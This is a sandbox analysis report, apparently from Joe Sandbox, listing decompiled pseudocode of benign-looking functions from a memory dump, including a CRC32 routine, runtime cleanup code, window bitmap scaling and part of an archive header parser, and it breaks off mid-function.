0x013b2c0b
0x013b2c0b
0x013b2c10
0x013b2c14
0x00000000
0x013b2b6e
0x013b2b6e
0x00000000
0x013b2b6e

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction ID: 7f20421f9c2b1b46c573a0625ca00bc463fef27ebeb5d8a2c03ea7d68927ff6b
Opcode Fuzzy Hash: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction Fuzzy Hash: 0331F87261474A5FCB14DF28C8906AFFBD0FB95208F40462DE59AD7741DA34F909CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013A5E83 Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013A5E83(signed char _a4, signed char _a8, unsigned int _a12) {
				signed char _t49;
				signed char _t51;
				signed char _t67;
				signed char _t68;
				unsigned int _t72;
				unsigned int _t74;

				_t67 = _a8;
				_t49 = _a4;
				_t74 = _a12;
				if(_t74 != 0) {
					while((_t67 & 0x00000007) != 0) {
						_t49 = _t49 >> 0x00000008 ^  *(0x13daba0 + ( *_t67 & 0x000000ff ^ _t49 & 0x000000ff) * 4);
						_t67 = _t67 + 1;
						_a8 = _t67;
						_t74 = _t74 - 1;
						if(_t74 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				if(_t74 >= 8) {
					_t72 = _t74 >> 3;
					do {
						_t51 = _t49 ^  *_t67;
						_t74 = _t74 - 8;
						_t68 =  *(_t67 + 4);
						_t67 = _a8 + 8;
						_a8 = _t67;
						_t49 =  *(0x13daba0 + (_t68 >> 0x18) * 4) ^  *(0x13dafa0 + (_t68 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13db3a0 + (_t68 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13dbba0 + (_t51 >> 0x18) * 4) ^  *(0x13dbfa0 + (_t51 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x13dc3a0 + (_t51 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x13db7a0 + (_t68 & 0x000000ff) * 4) ^  *(0x13dc7a0 + (_t51 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
					} while (_t72 != 0);
				}
				if(_t74 != 0) {
					do {
						_t49 = _t49 >> 0x00000008 ^  *(0x13daba0 + ( *_t67 & 0x000000ff ^ _t49 & 0x000000ff) * 4);
						_t67 = _t67 + 1;
						_t74 = _t74 - 1;
					} while (_t74 != 0);
				}
				return _t49;
			}

0x013a5e86
0x013a5e8a
0x013a5e8e
0x013a5e93
0x013a5e95
0x013a5ea5
0x013a5eac
0x013a5ead
0x013a5eb0
0x013a5eb3
0x00000000
0x00000000
0x00000000
0x013a5eb3
0x013a5e95
0x013a5eb5
0x013a5eb8
0x013a5ec1
0x013a5ec4
0x013a5ec4
0x013a5ec6
0x013a5ec9
0x013a5f26
0x013a5f29
0x013a5f3d
0x013a5f3f
0x013a5f3f
0x013a5f44
0x013a5f47
0x013a5f49
0x013a5f54
0x013a5f5b
0x013a5f5c
0x013a5f5c
0x013a5f49
0x013a5f66

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a4f65fa25ba92a37442d8593833db186278bfd3eb95d11bd662c9e784a952d4
Instruction ID: 49ff7d9f13fb2c34d5bc4f933fe199b6c1f75dda8a0fc7d09721ea60e2ccad18
Opcode Fuzzy Hash: 1a4f65fa25ba92a37442d8593833db186278bfd3eb95d11bd662c9e784a952d4
Instruction Fuzzy Hash: F621DD31A211659BC718CD2DF8A48767759F746301BC7812FEE468B2C9C535D525C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 013C957E Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013C957E(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x13da8b0) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E013C59B2(_t46);
							E013C915D( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E013C59B2(_t47);
							E013C925B( *((intOrPtr*)(_t74 + 0x88)));
						}
						E013C59B2( *((intOrPtr*)(_t74 + 0x7c)));
						E013C59B2( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E013C59B2( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E013C59B2( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E013C59B2( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E013C59B2( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E013C96F1( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x13da378) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E013C59B2(_t31);
							E013C59B2( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E013C59B2(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E013C59B2(_t74);
			}

0x013c9586
0x013c958a
0x013c9592
0x013c959b
0x013c95a0
0x013c95a7
0x013c95af
0x013c95b7
0x013c95c2
0x013c95c8
0x013c95c9
0x013c95d1
0x013c95d9
0x013c95e4
0x013c95ea
0x013c95ee
0x013c95f9
0x013c95ff
0x013c95a0
0x013c9600
0x013c9608
0x013c961b
0x013c962e
0x013c963c
0x013c9647
0x013c964c
0x013c9655
0x013c965d
0x013c965e
0x013c9664
0x013c9667
0x013c966a
0x013c9671
0x013c9673
0x013c9677
0x013c967f
0x013c9686
0x013c968c
0x013c968d
0x013c968d
0x013c9694
0x013c9696
0x013c969b
0x013c96a3
0x013c96a8
0x013c96a9
0x013c96a9
0x013c96ac
0x013c96af
0x013c96b2
0x013c96b5
0x013c96b5
0x013c96c7

APIs

___free_lconv_mon.LIBCMT ref: 013C95C2

Part of subcall function 013C915D: _free.LIBCMT ref: 013C917A
Part of subcall function 013C915D: _free.LIBCMT ref: 013C918C
Part of subcall function 013C915D: _free.LIBCMT ref: 013C919E
Part of subcall function 013C915D: _free.LIBCMT ref: 013C91B0
Part of subcall function 013C915D: _free.LIBCMT ref: 013C91C2
Part of subcall function 013C915D: _free.LIBCMT ref: 013C91D4
Part of subcall function 013C915D: _free.LIBCMT ref: 013C91E6
Part of subcall function 013C915D: _free.LIBCMT ref: 013C91F8
Part of subcall function 013C915D: _free.LIBCMT ref: 013C920A
Part of subcall function 013C915D: _free.LIBCMT ref: 013C921C
Part of subcall function 013C915D: _free.LIBCMT ref: 013C922E
Part of subcall function 013C915D: _free.LIBCMT ref: 013C9240
Part of subcall function 013C915D: _free.LIBCMT ref: 013C9252

_free.LIBCMT ref: 013C95B7

Part of subcall function 013C59B2: RtlFreeHeap.NTDLL(00000000,00000000,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?), ref: 013C59C8
Part of subcall function 013C59B2: GetLastError.KERNEL32(?,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?,?), ref: 013C59DA

_free.LIBCMT ref: 013C95D9
_free.LIBCMT ref: 013C95EE
_free.LIBCMT ref: 013C95F9
_free.LIBCMT ref: 013C961B
_free.LIBCMT ref: 013C962E
_free.LIBCMT ref: 013C963C
_free.LIBCMT ref: 013C9647
_free.LIBCMT ref: 013C967F
_free.LIBCMT ref: 013C9686
_free.LIBCMT ref: 013C96A3
_free.LIBCMT ref: 013C96BB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0d9df68fb467acf2c42b4b9adcf93412eac1fc4931a9187527fe3f5a8818475c
Instruction ID: 42de51ddc0dfa54405488f40c9fec5465b1f9ae34a5d68b0d6bc1fb607dce10a
Opcode Fuzzy Hash: 0d9df68fb467acf2c42b4b9adcf93412eac1fc4931a9187527fe3f5a8818475c
Instruction Fuzzy Hash: F13159326012019FEB31AA3DD844B9677E9EF11B3CF12845DE489D7290DF31ACA0CB65

Uniqueness

Uniqueness Score: -1.00%

Function 013BB8BB Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013BB8BB(void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4) {
				intOrPtr _v20;
				intOrPtr _v24;
				void _v28;
				short _v4124;
				void* _t10;
				struct HWND__* _t11;
				void* _t21;
				void* _t28;
				void* _t29;
				void* _t31;
				struct HWND__* _t34;
				void* _t45;

				_t45 = __fp0;
				_t29 = __edx;
				E013BCEC0();
				_t10 = E013B8ABF(__eflags);
				if(_t10 == 0) {
					return _t10;
				}
				_t11 = GetWindow(_a4, 5);
				_t34 = _t11;
				_t31 = 0;
				_a4 = _t34;
				if(_t34 == 0) {
					L11:
					return _t11;
				}
				while(_t31 < 0x200) {
					GetClassNameW(_t34,  &_v4124, 0x800);
					if(E013B0B00( &_v4124, L"STATIC") == 0 && (GetWindowLongW(_t34, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t28 = SendMessageW(_t34, 0x173, 0, 0);
						if(_t28 != 0) {
							GetObjectW(_t28, 0x18,  &_v28);
							_t21 = E013B8B21(_v20);
							SendMessageW(_t34, 0x172, 0, E013B8CF2(_t29, _t45, _t28, E013B8ADE(_v24), _t21));
							DeleteObject(_t28);
						}
					}
					_t11 = GetWindow(_t34, 2);
					_t34 = _t11;
					if(_t34 != _a4) {
						_t31 = _t31 + 1;
						if(_t34 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x013bb8bb
0x013bb8bb
0x013bb8c3
0x013bb8c8
0x013bb8cf
0x013bb9a6
0x013bb9a6
0x013bb8dc
0x013bb8e2
0x013bb8e4
0x013bb8e6
0x013bb8eb
0x013bb9a1
0x00000000
0x013bb9a2
0x013bb8f2
0x013bb90b
0x013bb924
0x013bb946
0x013bb94a
0x013bb953
0x013bb95c
0x013bb97a
0x013bb981
0x013bb981
0x013bb94a
0x013bb98a
0x013bb990
0x013bb995
0x013bb997
0x013bb99a
0x00000000
0x00000000
0x013bb99a
0x00000000
0x013bb995
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 013BB8DC
GetClassNameW.USER32(00000000,?,00000800), ref: 013BB90B

Part of subcall function 013B0B00: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,013AAC99,?,?,?,013AAC48,?,-00000002,?,00000000,?), ref: 013B0B16

GetWindowLongW.USER32(00000000,000000F0), ref: 013BB929
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 013BB940
GetObjectW.GDI32(00000000,00000018,?), ref: 013BB953

Part of subcall function 013B8B21: GetDC.USER32(00000000), ref: 013B8B2D
Part of subcall function 013B8B21: GetDeviceCaps.GDI32(00000000,0000005A), ref: 013B8B3C
Part of subcall function 013B8B21: ReleaseDC.USER32(00000000,00000000), ref: 013B8B4A

Part of subcall function 013B8ADE: GetDC.USER32(00000000), ref: 013B8AEA
Part of subcall function 013B8ADE: GetDeviceCaps.GDI32(00000000,00000058), ref: 013B8AF9
Part of subcall function 013B8ADE: ReleaseDC.USER32(00000000,00000000), ref: 013B8B07

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 013BB97A
DeleteObject.GDI32(00000000), ref: 013BB981
GetWindow.USER32(00000000,00000002), ref: 013BB98A

Strings

STATIC, xrefs: 013BB911

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 3a412dee5cfc664dd8b752d89d9aa0eba6f101d6d988a0de11bc1506c62d5158
Instruction ID: b2b355a0c80ce222c3435c3ffce24a0b1780fa5083242661c0ffda1af3754a48
Opcode Fuzzy Hash: 3a412dee5cfc664dd8b752d89d9aa0eba6f101d6d988a0de11bc1506c62d5158
Instruction Fuzzy Hash: A921C3725012257BFB316A68ED89FEEBA6CAF04704F004111FB05A6489EE649A4187A5

Uniqueness

Uniqueness Score: -1.00%

Function 013C621A Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013C621A(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x13d22f0) {
					E013C59B2(_t52);
					_t26 = _a4;
				}
				E013C59B2( *((intOrPtr*)(_t26 + 0x3c)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x30)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x34)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x38)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x28)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x2c)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x40)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x44)));
				E013C59B2( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E013C60E0(5,  &_v8);
				_v8 =  &_a4;
				return E013C6130(4,  &_v8);
			}

0x013c6220
0x013c6223
0x013c622b
0x013c622e
0x013c6233
0x013c6236
0x013c623a
0x013c6245
0x013c6250
0x013c625b
0x013c6266
0x013c6271
0x013c627c
0x013c6287
0x013c6295
0x013c629d
0x013c62a6
0x013c62ae
0x013c62c2

APIs

_free.LIBCMT ref: 013C622E

Part of subcall function 013C59B2: RtlFreeHeap.NTDLL(00000000,00000000,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?), ref: 013C59C8
Part of subcall function 013C59B2: GetLastError.KERNEL32(?,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?,?), ref: 013C59DA

_free.LIBCMT ref: 013C623A
_free.LIBCMT ref: 013C6245
_free.LIBCMT ref: 013C6250
_free.LIBCMT ref: 013C625B
_free.LIBCMT ref: 013C6266
_free.LIBCMT ref: 013C6271
_free.LIBCMT ref: 013C627C
_free.LIBCMT ref: 013C6287
_free.LIBCMT ref: 013C6295

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 81d07ac2fd62b1fbc3ef861bdedd8fb99fb014dd6c6490890da3b5cfe010cbee
Instruction ID: 618c9fd3f8c0818cc4b66089dfd4c8da4dee1a8ca5569111165dfece2b21707c
Opcode Fuzzy Hash: 81d07ac2fd62b1fbc3ef861bdedd8fb99fb014dd6c6490890da3b5cfe010cbee
Instruction Fuzzy Hash: 1F11C576211109BFDF11EF98C841CDD3BB9FF15664B0180A9FA888F221DA31EE909B81

Uniqueness

Uniqueness Score: -1.00%

Function 013A20D3 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E013A20D3(intOrPtr __ecx) {
				signed int _t135;
				void* _t137;
				signed int _t139;
				unsigned int _t140;
				signed int _t144;
				signed int _t161;
				signed int _t164;
				void* _t167;
				void* _t172;
				signed int _t175;
				signed char _t178;
				signed char _t179;
				signed char _t180;
				signed int _t182;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed char _t220;
				signed char _t232;
				signed int _t233;
				signed int _t236;
				intOrPtr _t240;
				signed int _t244;
				signed int _t246;
				signed int _t247;
				signed int _t257;
				signed int _t258;
				signed char _t262;
				signed int _t263;
				signed int _t265;
				intOrPtr _t272;
				intOrPtr _t275;
				intOrPtr _t278;
				intOrPtr _t314;
				signed int _t315;
				intOrPtr _t318;
				signed int _t322;
				void* _t323;
				void* _t324;
				void* _t326;
				void* _t327;
				void* _t328;
				void* _t329;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr* _t336;
				signed int _t339;
				void* _t340;
				signed int _t341;
				char* _t342;
				void* _t343;
				void* _t344;
				signed int _t348;
				signed int _t351;
				signed int _t366;

				E013BCEC0();
				_t318 =  *((intOrPtr*)(_t344 + 0x20b8));
				 *((intOrPtr*)(_t344 + 0xc)) = __ecx;
				_t314 =  *((intOrPtr*)(_t318 + 0x18));
				_t135 = _t314 -  *((intOrPtr*)(_t344 + 0x20bc));
				if(_t135 <  *(_t318 + 0x1c)) {
					L104:
					return _t135;
				}
				_t315 = _t314 - _t135;
				 *(_t318 + 0x1c) = _t135;
				if(_t315 >= 2) {
					_t240 =  *((intOrPtr*)(_t344 + 0x20c4));
					while(1) {
						_t135 = E013AC337(_t315);
						_t244 = _t135;
						_t348 = _t315;
						if(_t348 < 0 || _t348 <= 0 && _t244 == 0) {
							break;
						}
						_t322 =  *(_t318 + 0x1c);
						_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t322;
						if(_t135 == 0) {
							break;
						}
						_t351 = _t315;
						if(_t351 > 0 || _t351 >= 0 && _t244 > _t135) {
							break;
						} else {
							_t339 = _t322 + _t244;
							 *(_t344 + 0x28) = _t339;
							_t137 = E013AC337(_t315);
							_t340 = _t339 -  *(_t318 + 0x1c);
							_t323 = _t137;
							_t135 = _t315;
							_t246 = 0;
							 *(_t344 + 0x24) = _t135;
							 *(_t344 + 0x20) = 0;
							if(0 < 0 || 0 <= 0 && _t340 < 0) {
								break;
							} else {
								if( *((intOrPtr*)(_t240 + 4)) == 1 && _t323 == 1 && _t135 == 0) {
									 *((char*)(_t240 + 0x1e)) = 1;
									_t232 = E013AC337(_t315);
									 *(_t344 + 0x1c) = _t232;
									if((_t232 & 0x00000001) != 0) {
										_t236 = E013AC337(_t315);
										if((_t236 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t236;
											 *((intOrPtr*)(_t240 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
										_t232 =  *(_t344 + 0x1c);
									}
									if((_t232 & 0x00000002) != 0) {
										_t233 = E013AC337(_t315);
										if((_t233 | _t315) != 0) {
											asm("adc eax, edx");
											 *((intOrPtr*)(_t240 + 0x30)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca0)) + _t233;
											 *((intOrPtr*)(_t240 + 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t344 + 0x18)) + 0x6ca4));
										}
									}
									_t246 =  *(_t344 + 0x20);
									_t135 =  *(_t344 + 0x24);
								}
								if( *((intOrPtr*)(_t240 + 4)) == 2 ||  *((intOrPtr*)(_t240 + 4)) == 3) {
									_t366 = _t135;
									if(_t366 > 0 || _t366 >= 0 && _t323 > 7) {
										goto L102;
									} else {
										_t324 = _t323 - 1;
										if(_t324 == 0) {
											_t139 = E013AC337(_t315);
											__eflags = _t139;
											if(_t139 == 0) {
												_t140 = E013AC337(_t315);
												 *(_t240 + 0x10c1) = _t140 & 0x00000001;
												 *(_t240 + 0x10ca) = _t140 >> 0x00000001 & 0x00000001;
												_t144 = E013AC1EA(_t318) & 0x000000ff;
												 *(_t240 + 0x10ec) = _t144;
												__eflags = _t144 - 0x18;
												if(_t144 > 0x18) {
													E013A3F2B(_t344 + 0x38, 0x14, L"xc%u", _t144);
													_t257 =  *(_t344 + 0x28);
													_t167 = _t344 + 0x40;
													_t344 = _t344 + 0x10;
													E013A3ED6(_t257, _t240 + 0x28, _t167);
												}
												E013AC299(_t318, _t240 + 0x10a1, 0x10);
												E013AC299(_t318, _t240 + 0x10b1, 0x10);
												__eflags =  *(_t240 + 0x10c1);
												if( *(_t240 + 0x10c1) != 0) {
													_t325 = _t240 + 0x10c2;
													E013AC299(_t318, _t240 + 0x10c2, 8);
													E013AC299(_t318, _t344 + 0x30, 4);
													E013AEC48(_t344 + 0x58);
													E013AEC8E(_t344 + 0x60, _t240 + 0x10c2, 8);
													_push(_t344 + 0x30);
													E013AEB59(_t344 + 0x5c);
													_t161 = E013BE8EC(_t344 + 0x34, _t344 + 0x34, 4);
													_t344 = _t344 + 0xc;
													asm("sbb al, al");
													__eflags =  *((intOrPtr*)(_t240 + 4)) - 3;
													 *(_t240 + 0x10c1) =  ~_t161 + 1;
													if( *((intOrPtr*)(_t240 + 4)) == 3) {
														_t164 = E013BE8EC(_t325, 0x13d0398, 8);
														_t344 = _t344 + 0xc;
														__eflags = _t164;
														if(_t164 == 0) {
															 *(_t240 + 0x10c1) = _t164;
														}
													}
												}
												 *((char*)(_t240 + 0x10a0)) = 1;
												 *((intOrPtr*)(_t240 + 0x109c)) = 5;
												 *((char*)(_t240 + 0x109b)) = 1;
											} else {
												E013A3F2B(_t344 + 0x38, 0x14, L"x%u", _t139);
												_t258 =  *(_t344 + 0x28);
												_t172 = _t344 + 0x40;
												_t344 = _t344 + 0x10;
												E013A3ED6(_t258, _t240 + 0x28, _t172);
											}
											goto L102;
										}
										_t326 = _t324 - 1;
										if(_t326 == 0) {
											_t175 = E013AC337(_t315);
											__eflags = _t175;
											if(_t175 != 0) {
												goto L102;
											}
											_push(0x20);
											 *((intOrPtr*)(_t240 + 0x1070)) = 3;
											_push(_t240 + 0x1074);
											L40:
											E013AC299(_t318);
											goto L102;
										}
										_t327 = _t326 - 1;
										if(_t327 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L65:
												_t178 = E013AC337(_t315);
												 *(_t344 + 0x13) = _t178;
												_t179 = _t178 & 0x00000001;
												_t262 =  *(_t344 + 0x13);
												 *(_t344 + 0x14) = _t179;
												_t315 = _t262 & 0x00000002;
												__eflags = _t315;
												 *(_t344 + 0x15) = _t315;
												if(_t315 != 0) {
													_t278 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E013B0192(_t240 + 0x1040, _t315, E013AC279(_t278, __eflags), _t315);
													} else {
														E013B0153(_t240 + 0x1040, _t315, E013AC237(_t278), 0);
													}
													_t262 =  *(_t344 + 0x13);
													_t179 =  *(_t344 + 0x14);
												}
												_t263 = _t262 & 0x00000004;
												__eflags = _t263;
												 *(_t344 + 0x16) = _t263;
												if(_t263 != 0) {
													_t275 = _t318;
													__eflags = _t179;
													if(__eflags == 0) {
														E013B0192(_t240 + 0x1048, _t315, E013AC279(_t275, __eflags), _t315);
													} else {
														E013B0153(_t240 + 0x1048, _t315, E013AC237(_t275), 0);
													}
												}
												_t180 =  *(_t344 + 0x13);
												_t265 = _t180 & 0x00000008;
												__eflags = _t265;
												 *(_t344 + 0x17) = _t265;
												if(_t265 != 0) {
													__eflags =  *(_t344 + 0x14);
													_t272 = _t318;
													if(__eflags == 0) {
														E013B0192(_t240 + 0x1050, _t315, E013AC279(_t272, __eflags), _t315);
													} else {
														E013B0153(_t240 + 0x1050, _t315, E013AC237(_t272), 0);
													}
													_t180 =  *(_t344 + 0x13);
												}
												__eflags =  *(_t344 + 0x14);
												if( *(_t344 + 0x14) != 0) {
													__eflags = _t180 & 0x00000010;
													if((_t180 & 0x00000010) != 0) {
														__eflags =  *(_t344 + 0x15);
														if( *(_t344 + 0x15) == 0) {
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
														} else {
															_t187 = E013AC237(_t318);
															_t341 = 0x3fffffff;
															_t328 = 0x3b9aca00;
															_t188 = _t187 & 0x3fffffff;
															__eflags = _t188 - 0x3b9aca00;
															if(_t188 < 0x3b9aca00) {
																E013AFDFE(_t240 + 0x1040, _t188, 0);
															}
														}
														__eflags =  *(_t344 + 0x16);
														if( *(_t344 + 0x16) != 0) {
															_t185 = E013AC237(_t318) & _t341;
															__eflags = _t185 - _t328;
															if(_t185 < _t328) {
																E013AFDFE(_t240 + 0x1048, _t185, 0);
															}
														}
														__eflags =  *(_t344 + 0x17);
														if( *(_t344 + 0x17) != 0) {
															_t182 = E013AC237(_t318) & _t341;
															__eflags = _t182 - _t328;
															if(_t182 < _t328) {
																E013AFDFE(_t240 + 0x1050, _t182, 0);
															}
														}
													}
												}
												goto L102;
											}
											__eflags = _t340 - 5;
											if(_t340 < 5) {
												goto L102;
											}
											goto L65;
										}
										_t329 = _t327 - 1;
										if(_t329 == 0) {
											__eflags = _t246;
											if(__eflags < 0) {
												goto L102;
											}
											if(__eflags > 0) {
												L60:
												E013AC337(_t315);
												__eflags = E013AC337(_t315);
												if(__eflags != 0) {
													 *((char*)(_t240 + 0x10f3)) = 1;
													E013A3F2B(_t344 + 0x38, 0x14, L";%u", _t203);
													_t344 = _t344 + 0x10;
													E013AF138(__eflags, _t240 + 0x28, _t344 + 0x30, 0x800);
												}
												goto L102;
											}
											__eflags = _t340 - 1;
											if(_t340 < 1) {
												goto L102;
											}
											goto L60;
										}
										_t330 = _t329 - 1;
										if(_t330 == 0) {
											 *((intOrPtr*)(_t240 + 0x1100)) = E013AC337(_t315);
											 *(_t240 + 0x2104) = E013AC337(_t315) & 0x00000001;
											_t331 = E013AC337(_t315);
											 *((char*)(_t344 + 0xc0)) = 0;
											__eflags = _t331 - 0x1fff;
											if(_t331 < 0x1fff) {
												E013AC299(_t318, _t344 + 0xc4, _t331);
												 *((char*)(_t344 + _t331 + 0xc0)) = 0;
											}
